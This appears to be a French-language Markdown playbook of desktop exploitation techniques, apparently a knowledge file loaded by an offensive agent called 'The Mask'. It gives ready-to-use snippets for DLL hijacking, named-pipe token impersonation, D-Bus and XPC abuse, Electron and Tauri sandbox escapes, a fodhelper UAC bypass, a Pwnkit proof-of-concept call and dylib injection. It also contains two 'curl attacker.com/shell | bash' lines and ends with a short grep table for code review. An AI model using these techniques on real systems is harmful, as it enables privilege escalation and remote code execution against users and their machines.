# atk-exploit-desktop.md
> Techniques d'exploitation desktop natives (Windows/Linux/macOS).
> The Mask charge ce fichier quand : app Electron, Tauri, app native, IPC, DLL, sandboxing.

---

## 1. DLL Hijacking / Side-Loading (Windows)

**Search Order Hijacking :**
Windows résout les DLL dans cet ordre : répertoire app → System32 → PATH.
Si une DLL manquante est cherchée dans un répertoire où l'attaquant peut écrire :
```
AppDir\                     # Attaquant peut écrire ici ?
  app.exe                   # Charge VERSION.dll
  VERSION.dll               # Payload placé ici → exécution avec privilèges de app.exe
```

**Phantom DLL Hijacking :**
Cibler des DLLs que le binaire tente de charger mais qui n'existent pas sur le système.
```powershell
# Identifier les DLLs manquantes avec Procmon
Process Monitor → Filter: "NAME NOT FOUND" + "*.dll"
```

**Side-Loading via manifeste :**
```xml
<!-- app.exe.manifest -->
<dependency><assemblyIdentity name="Microsoft.VC90.CRT" .../></dependency>
<!-- Placer msvcr90.dll forgée dans le répertoire app -->
```

**Impact :** Élévation de privilèges, persistance, exécution arbitraire au niveau du processus signé.

---

## 2. IPC Abuse — Named Pipes / D-Bus / XPC

**Windows Named Pipes — Impersonation :**
```c
// Attaquant crée un named pipe avec le même nom qu'un service attendu
CreateNamedPipe("\\\\.\\pipe\\TargetService", ...)
// Quand le service légitime se connecte, l'attaquant impersonne son token
ImpersonateNamedPipeClient(hPipe);
// → Escalade vers SYSTEM si le service tourne en SYSTEM
```

**D-Bus (Linux) — Method Call Injection :**
```bash
# Appeler une méthode D-Bus exposée sans authentification suffisante
dbus-send --system --dest=org.freedesktop.NetworkManager \
  /org/freedesktop/NetworkManager \
  org.freedesktop.NetworkManager.AddAndActivateConnection \
  dict:string:variant:"..." ...
```

**XPC (macOS) — Message Forgery :**
Les services XPC sans validation de l'identité du client (audit token) peuvent être abusés :
```swift
// Service vulnérable : pas de vérification du bundle ID appelant
connection.remoteObjectProxy.performPrivilegedAction(...)
// → Appel d'un service privileged helper depuis un process non autorisé
```

---

## 3. Sandbox Escape (Electron / Chromium)

**Electron — nodeIntegration=true (legacy) :**
```js
// Dans une WebView avec nodeIntegration activé
require('child_process').execSync('id')
// → RCE depuis le renderer vers le système
```

**Electron — contextIsolation bypass (si mal configuré) :**
```js
// preload.js exposant des APIs dangereuses
contextBridge.exposeInMainWorld('api', {
  exec: (cmd) => require('child_process').execSync(cmd)
});
// Depuis le renderer :
window.api.exec('curl attacker.com/shell | bash')
```

**Tauri — IPC sans validation :**
```js
// invoke() vers une commande Tauri sans vérification de l'origine
await invoke('execute_command', { cmd: 'whoami' })
```

**Chromium V8 / Renderer exploit → sandbox escape :**
Utiliser une vuln V8 (type confusion, OOB) pour exécuter du code dans le renderer, puis une vuln sandbox (IPC broker) pour escalader vers le process principal.

---

## 4. Privilege Escalation par OS

### Windows — UAC Bypass
```powershell
# Bypass via fodhelper.exe (auto-elevate, hérite de HKCU)
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
  -Name "(default)" -Value "cmd.exe /c calc.exe"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
  -Name "DelegateExecute" -Value ""
Start-Process "C:\Windows\System32\fodhelper.exe"
```

### Linux — polkit (CVE-2021-4034 Pwnkit)
```bash
# pkexec sans arguments → overflow → exécution avec uid=0
./CVE-2021-4034/poc
```

### macOS — TCC Bypass
```bash
# Injection dans un process ayant déjà accès au microphone/camera (FDA)
# Via DYLD_INSERT_LIBRARIES si SIP désactivé
DYLD_INSERT_LIBRARIES=/tmp/tcc_bypass.dylib /Applications/Legit.app/Contents/MacOS/Legit
```

---

## 5. Dylib Injection (macOS)

```bash
# Si SIP désactivé ou process non-hardened
DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /path/to/app
# Dans evil.dylib :
__attribute__((constructor)) void init() {
    system("curl attacker.com/shell | bash");
}
```

**DYLD_LIBRARY_PATH hijack :**
```bash
# Placer une dylib avec le même nom qu'une lib chargée par l'app
DYLD_LIBRARY_PATH=/tmp/evil_libs/ /Applications/Target.app/MacOS/Target
```

---

## Grep Patterns (code review)

| Signe | Risque |
|-------|--------|
| `nodeIntegration: true` | Electron RCE renderer |
| `contextIsolation: false` | Electron sandbox bypass |
| `webSecurity: false` | Electron XSS → RCE |
| `invoke()` sans `#[tauri::command]` securisé | Tauri IPC abuse |
| Absence de `SetDllDirectory("")` | DLL hijacking |
| XPC service sans `auditToken` check | macOS privilege escalation |
